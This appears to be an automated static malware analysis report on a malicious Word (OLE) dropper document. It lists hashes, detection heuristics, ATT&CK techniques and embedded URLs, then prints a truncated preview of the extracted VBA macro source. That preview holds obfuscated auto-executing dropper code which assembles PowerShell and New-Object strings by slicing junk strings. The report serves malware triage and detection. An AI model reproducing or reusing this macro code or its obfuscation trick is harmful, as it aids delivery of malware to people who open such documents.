Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 08b4c04776ece124…

MALICIOUS

Office (OLE)

156.5 KB Created: 2018-05-22 21:56:00 Authoring application: Microsoft Office Word First seen: 2018-06-30
MD5: 884d26ac95e5c5fb0b360e6b4b5392d7 SHA-1: 7f2104f8d955cff4cd2894e330779a1a1e1bf9b1 SHA-256: 08b4c04776ece124dacf04ee3ef3fb6ee501a1f2827c1af01a2fb2f8fa0277b5
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'OLE_VBA_SHELL' and 'OLE_VBA_AUTOOPEN' heuristics indicate that the macros are designed to execute automatically and use the Shell() function. The script itself is heavily obfuscated but appears to construct strings that likely form URLs for downloading additional content. The presence of embedded, unknown reputation URLs further supports this. The ClamAV detection 'Doc.Dropper.Agent-6554055-0' confirms its malicious nature as a dropper.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6553672-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6553672-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://nataliawJE5xIF41lu2 In document text (OLE body)
    • http://oX9R1J1lxIIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 160977 bytes
SHA-256: f8dedf6565d2aeef038b7ac353ca95f31bf890d609a7f51682a8c03e252b7d1e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "rBjiSXTfLi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function EpuGW()

On Error Resume Next
oPsXd = (mKjHoFiSb - CDbl(534321) + VDtFLhdZGo + Fix(TGOtMz / CLng(794616 * Sqr(jnNnzG))) - 331267 / Sin(IwYGZUAUL - soCvGmS - 366314 + CLng(pVSESOc)) * 572431 * Fix(534321))
CwNvpQ = "XMqtWTpowerUl  &( $L7sedNIqav9k2Wshelp0ytTv2NjT1"
JaVDBvPL = Left(Right(CwNvpQ, 41), 4) + CStr(Left(Right(CwNvpQ, 15), 1)) + Left(Right(CwNvpQ, 14), 3) + Left(Right(CwNvpQ, 36), 7) + Left(Right(CwNvpQ, 26), 1)

cTsubYrA = "XMqtWTpNV:CUEc[4,26L7s,dNIqav9k2WomSpp0ytTv2NjT1"
uXKfZXE = Left(Right(cTsubYrA, 41), 4) + CStr(Left(Right(cTsubYrA, 15), 1)) + Left(Right(cTsubYrA, 14), 3) + Left(Right(cTsubYrA, 36), 7) + Left(Right(cTsubYrA, 26), 1)

zZnAi = "tWTp0h7zUk0aH25]-joidNIq' ((1ltSBUnsatTv2NdT1LyIJKqLfhCVDcF5YNwN'')( ((SexcGea1FwqRiglZ5UKmLe"
nijQjPrwm = Left(Right(zZnAi, 80), 7) + Left(Right(zZnAi, 30), 2) + CStr(Left(Right(zZnAi, 28), 6)) + Left(Right(zZnAi, 69), 13) + CStr(Left(Right(zZnAi, 51), 1)) + CStr(Left(Right(zZnAi, 16), 2))

YzSGtihTP = "YzlgtB"
rJbtb = CStr(Left(Right(YzSGtihTP, 4), 1)) + CStr(Left(Right(YzSGtihTP, 2), 1))
oCIZKdE = (uXCpBw - CDbl(481088) + itwMrZloHzw + Fix(MzdjTjX / CLng(859261 * Sqr(NsGOPlzzYH))) - 813304 / Sin(PjqIiMiBwDO - cLOrP - 273970 + CLng(qjFdIhl)) * 873282 * Fix(481088))
PiwwPGGhr = Chr(43)
vHnCbFLpk = "VgfBpdJfjF21le1CobNytsd = 1lhQ0t8"
nvsXYrKzBb = CStr(Left(Right(vHnCbFLpk, 22), 2)) + CStr(Left(Right(vHnCbFLpk, 13), 8)) + CStr(Left(Right(vHnCbFLpk, 2), 1))

bjQMVOiiQjW = Chr(43)
wuYwC = "VgfBpdJfjF1lCe1Cobt&(0A1lVODtQ"
zpaIcXYfpFA = Left(Right(wuYwC, 20), 2) + CStr(Left(Right(wuYwC, 12), 7)) + Left(Right(wuYwC, 2), 1)

OuTCELEX = Chr(43)
YBRwPQRrRi = "VgfBpdJ1jF2nlt11lbNtA"
rnBfltrYz = CStr(Left(Right(YBRwPQRrRi, 14), 1)) + CStr(Left(Right(YBRwPQRrRi, 9), 5)) + Left(Right(YBRwPQRrRi, 2), 1)
dEcwVFBYc = (djHqivKTAm - CDbl(913374) + Vciui + Fix(SVpnSwrVWc / CLng(901893 * Sqr(ZpfaFrw))) - 641928 / Sin(nOrkfiaIdIb - EnSjDmDKkQU - 976941 + CLng(SstKGd)) * 665410 * Fix(913374))
vSqOs = Chr(43)
aLjMEc = "VgfBpdJ1jF2nltn0AbN1A"
tUZKu = CStr(Left(Right(aLjMEc, 14), 1)) + CStr(Left(Right(aLjMEc, 9), 5)) + Left(Right(aLjMEc, 2), 1)

XRUGjXdCh = Chr(43)
zhopioYAXiz = "n'Y"
PEiRSTroqsw = CStr(Left(Right(zhopioYAXiz, 2), 1))

RzHsipS = Chr(43)
hrqMzr = "VgfBpdJfj'0nCe1CA1e01lXEAtO"
NzioqsD = Left(Right(hrqMzr, 18), 2) + CStr(Left(Right(hrqMzr, 11), 6)) + Left(Right(hrqMzr, 2), 1)

WfwVTzDlfbi = Chr(43)
ZPwRLtdB = (vWMDHsq - CDbl(380609) + dcCosjwf + Fix(KlFMmKlAIK / CLng(42776 * Sqr(SIIJAiYci))) - 738878 / Sin(jqXHnwrmjj - mYjrv - 37256 + CLng(JMbCzi)) * 991361 * Fix(380609))
jodEZRoSi = "VgfBpd1fjFltA11C'b"
FrVsocMo = Left(Right(jodEZRoSi, 12), 1) + CStr(Left(Right(jodEZRoSi, 8), 4)) + Left(Right(jodEZRoSi, 2), 1)

oqzvWwjkX = Chr(43)
iXorMcT = "n'Y"
rNMBc = CStr(Left(Right(iXorMcT, 2), 1))

wfWuIChE = Chr(43)
RUjkEzsUpz = "VgfBpdJ0jF2nA1w1lbNtA"
RYGjoM = CStr(Left(Right(RUjkEzsUpz, 14), 1)) + CStr(Left(Right(RUjkEzsUpz, 9), 5)) + Left(Right(RUjkEzsUpz, 2), 1)

TZBCd = Chr(43)
wLOtLkFXk = "VgfBpdJfjF2nCe11lbNyAxXEAt-objec0A1zNrT1lQ"
SciKHhkM = Left(Right(wLOtLkFXk, 27), 2) + CStr(Left(Right(wLOtLkFXk, 17), 10)) + CStr(Left(Right(wLOtLkFXk, 3), 2))
umzawZMuLw = (AUzYjOOwPPZ - CDbl(344845) + PtimOCIFYqw + Fix(GqRVRkv / CLng(828354 * Sqr(brIakfqLq))) - 952611 / Sin(bXUnkhNnwr - tWJWh - 799385 + CLng(twsfiUr)) * 883120 * Fix(344845))
OizqtAikdQ = "Yztg'B"
DdjiAFXHzt = CStr(Left(Right(OizqtAikdQ, 4), 1)) + CStr(Left(Right(OizqtAikdQ, 2), 1))

amBWQidvj = Chr(43)
PEsAcYU = "n'Y"
aqtbHHuKuFi = CStr(Left(Right(PEsAcYU, 2), 1))

kOQJuiD = Chr(43)
LimLawBsO = "YzV1fltdJ"
krqjI = CStr(Left(Right(LimLawBsO, 6), 1)) + CStr(Left(Right(LimLawBsO, 4), 2))

ijpAcf = Chr(43)
jiVFH = "VgfBpdJf0A2nCe11t01lAxtE"
tcnqCswdz = Left(Right(jiVFH, 16),
... (truncated)

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